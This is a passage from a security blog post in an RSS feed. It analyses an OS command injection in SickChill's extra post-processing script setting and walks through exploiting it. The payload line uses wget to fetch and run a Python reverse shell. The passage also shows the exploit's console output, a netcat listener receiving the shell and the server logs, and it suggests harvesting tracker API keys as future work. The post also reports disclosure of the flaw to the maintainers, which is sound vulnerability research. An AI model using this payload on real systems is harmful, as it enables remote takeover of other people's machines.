            &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;UnicodeEncodeError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;# ignore it
&lt;/span&gt;                
                &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;piece&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;piece&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;(\&apos;.*?\&apos;|&quot;.*?&quot;| )&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;curScriptName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;piece&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;abspath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Absolute path to script: {0}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEBUG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;ep_location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ep_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexerid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ep_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;season&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ep_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;episode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ep_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;airdate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# use subprocess to run the command and capture output
&lt;/span&gt;        
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Executing command: {0}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Popen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;script_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PIPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PIPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STDOUT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sickbeard&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PROG_DIR&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;communicate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Script result: {0}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEBUG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Unable to run extra_script: {0}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Besides the details, it is possible to observe that:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;There is no sanitation of the input&lt;/li&gt;
  &lt;li&gt;The scripts are not restricted to any directory specifically&lt;/li&gt;
  &lt;li&gt;It is possible to pass multiple scripts separating them with pipe (|) symbol&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From all this, it is pretty clear that this configuration item allows for a trivial &lt;strong&gt;OS command injection&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;sicksploit---exploiting-sickchill&quot;&gt;Sicksploit - exploiting SickChill&lt;/h3&gt;

&lt;p&gt;Once the injection point is found, the limit is pretty much our own imagination.
I decided to exploit the instance by uploading a reverse shell and letting the victim host connect to a listening, attacker-controlled
machine.
The &lt;a href=&quot;https://github.com/Sudneo/sicksploit/blob/master/shell.py&quot;&gt;reverse shell&lt;/a&gt; is also in the project repository, together
 with the &lt;a href=&quot;https://github.com/Sudneo/sicksploit/blob/master/sicksploit.py&quot;&gt;PoC code&lt;/a&gt; that implements this exploit, called 
 sicksploit.&lt;/p&gt;

&lt;p&gt;The idea is pretty simple:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Connect to the open instance&lt;/li&gt;
  &lt;li&gt;POST a new configuration in which the Extra Post Processing Script field is PAYLOAD&lt;/li&gt;
  &lt;li&gt;Trigger a manual post processing of the folder that the user selected as a target&lt;/li&gt;
  &lt;li&gt;Listen from the attacker machine on the specified port&lt;/li&gt;
  &lt;li&gt;Profit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The PAYLOAD that I have chosen is very simple but does the trick:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&apos;/usr/bin/wget https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py -O /tmp/shell|/usr/bin/python /tmp/shell %s %s&apos; % (rhost, rport)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically it downloads the shell, saves it in /tmp folder and runs it with rhost and rport (attacker machine IP and port) as 
 parameters.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This exploit works only if there is at least one file to be post processed. If SickChill does not have
 any episode downloaded it will not execute the post processing at all, including the extra scripts, therefore not executing
 the payload. Obviously, since the instance is open anyway, it is be possible to manually add a TV series episode and wait
 for it to be downloaded before running the exploit.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The exploitation would be something similar to this from the attacker’s perspective:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# python sicksploit.py http://192.168.1.105:8081 192.168.1.200 4444
[+] Trying to get current values for some config items not to break post-processing.
[+] Parsing current Post Processing configuration.
[+] Successfully Parsed current configuration:
	naming_anime_multi_ep: 1
	naming_abd_pattern: %SN - %A.D - %EN
	delete_non_associated_files: on
	naming_sports_pattern: %SN - %A-D - %EN
	process_automatically: on
	mediabrowser_data: 0|0|0|0|0|0|0|0|0|0
	process_method: copy
	sony_ps3_data: 0|0|0|0|0|0|0|0|0|0
	tivo_data: 0|0|0|0|0|0|0|0|0|0
	alt_unrar_tool: unrar
	mede8er_data: 0|0|0|0|0|0|0|0|0|0
	file_timestamp_timezone: network
	naming_anime: None
	tv_download_dir: /home/user/process
	naming_anime_pattern: Season %0S/%SN - S%0SE%0E - %EN
	kodi_data: 0|0|0|0|0|0|0|0|0|0
	autopostprocessor_frequency: 10
	use_icacls: on
	rename_episodes: on
	unrar_tool: unrar
	unpack: 0
	naming_pattern: Season %0S/%SN - S%0SE%0E - %EN
	sync_files: !sync,lftp-pget-status,bts,!qb,!qB
	naming_multi_ep: 1
	postpone_if_sync_files: on
	allowed_extensions: nfo,srr,sfv,srt
	nfo_rename: on
	unpack_dir: 
	kodi_12plus_data: 0|0|0|0|0|0|0|0|0|0
	wdtv_data: 0|0|0|0|0|0|0|0|0|0
[+] Starting to exploit http://192.168.1.105:8081.
[+] Injecting payload: /usr/bin/wget https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py -O /tmp/shell|/usr/bin/python /tmp/shell 192.168.1.200 4444
[+] Exploit succeeded.
[+] Trigger a manual post-processing of /home/user/process to execute the injected payload.
[+] Manual post processing correctly scheduled. It might take a few minutes to actually get executed.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After a few seconds, on the attacker’s machine:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.200] from sickchill.home [192.168.1.105] 46106
$ 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From SickChill perspective, the log reports (from bottom to top):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2019-01-17 20:08:40 INFO     POSTPROCESSOR-MANUAL :: Executing command: [u&apos;/usr/bin/python&apos;, &apos;/tmp/shell&apos;, &apos;192.168.1.200&apos;, &apos;4444&apos;, &apos;[...]&apos;, &apos;[...]&apos;, &apos;253463&apos;, &apos;3&apos;, &apos;1&apos;, &apos;2016-10-21&apos;]
AA Downloaded: 1 files, 292 in 0s (23.8 MB/s)
AA Total wall clock time: 0.9s
AA FINISHED --2019-01-17 20:08:40--
AA wget: unable to resolve host address &apos;2016-10-21&apos;
AA Resolving 2016-10-21 (2016-10-21)... failed: Temporary failure in name resolution.
AA --2019-01-17 20:08:39--  http://2016-10-21/
AA Connecting to 1 (1)|0.0.0.1|:80... failed: Invalid argument.
AA Resolving 1 (1)... 0.0.0.1
AA --2019-01-17 20:08:39--  http://1/
AA Connecting to 3 (3)|0.0.0.3|:80... failed: Invalid argument.
AA Resolving 3 (3)... 0.0.0.3
AA --2019-01-17 20:08:39--  http://3/
AA Connecting to 253463 (253463)|0.3.222.23|:80... failed: Invalid argument.
AA Resolving 253463 (253463)... 0.3.222.23
AA --2019-01-17 20:08:39--  http://253463/
AA /home/user/process/Black.Mirror.S03E01.PROPER.WEBRip.x264-TURBO[rarbg]/Black.Mirror.S03E01.PROPER.WEBRip.x264-TURBO.mkv: Scheme missing.
AA /home/user/series/Black Mirror/Season 03/Black Mirror - S03E01 - Nosedive.mkv: Scheme missing.
AA 2019-01-17 20:08:39 (23.8 MB/s) - &apos;/tmp/shell&apos; saved [292/292]
AA 0K                                                       100% 23.8M=0s
AA Saving to: &apos;/tmp/shell&apos;
AA Length: 292 [text/plain]
AA HTTP request sent, awaiting response... 200 OK
AA Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.36.133|:443... connected.
AA Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.36.133
AA --2019-01-17 20:08:39--  https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py
AA ERROR: could not open HSTS store at &apos;/home/user/.wget-hsts&apos;. HSTS will be disabled.
2019-01-17 20:08:39 INFO     POSTPROCESSOR-MANUAL :: Executing command: [u&apos;/usr/bin/wget&apos;, &apos;https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py&apos;, &apos;-O&apos;, &apos;/tmp/shell&apos;, &apos;[ep-name]&apos;, &apos;[ep-path]&apos;, &apos;253463&apos;, &apos;3&apos;, &apos;1&apos;, &apos;2016-10-21&apos;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As it is easy to see, SickChill does not complain and executes both the commands even though it adds extra arguments (which is not a problem).&lt;/p&gt;

&lt;h3 id=&quot;additional-info&quot;&gt;Additional Info&lt;/h3&gt;

&lt;p&gt;I have &lt;a href=&quot;https://github.com/SickChill/SickChill/issues/5245&quot;&gt;reported&lt;/a&gt; the vulnerability more than a month ago (on 15th of December) on the 
Github page of SickChill. I have been in contact with the
main author/maintainer who discussed a fix to this issue. Despite this, I suppose this vulnerability is not top priority since
it is exploitable only when the user endangers him/herself by not configuring authentication in front of the SickChill instance, and therefore
it is not fixed yet.&lt;/p&gt;

&lt;h3 id=&quot;future-work&quot;&gt;Future work&lt;/h3&gt;

&lt;p&gt;Another interesting project that could be done, taking inspiration from this, is harvesting API keys for private trackers
or Usenet logins from the configuration page, wherever these are displayed in plaintext.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;The amount of misconfigured services, even the most uncommon ones, is astonishing. Simple, trivial I would say, exploits
like this would allow an attacker to gain &lt;strong&gt;local access on hundreds of machines across the Internet&lt;/strong&gt;. 
Needless to say, when configuring programs which do not have a strong security profile (but also in general) it is crucial not to expose such 
services to the Internet or -at the very least- configuring a strong authentication in front.&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;For any correction, feedback or question feel free to drop a mail to &lt;strong&gt;security&lt;/strong&gt;[at]coolbyte[dot]eu.&lt;/p&gt;

</description>
        <pubDate>Fri, 18 Jan 2019 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2019/sickown-finding-sickrage-instances/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2019/sickown-finding-sickrage-instances/</guid>
        
        
      </item>
    
  </channel>
</rss>
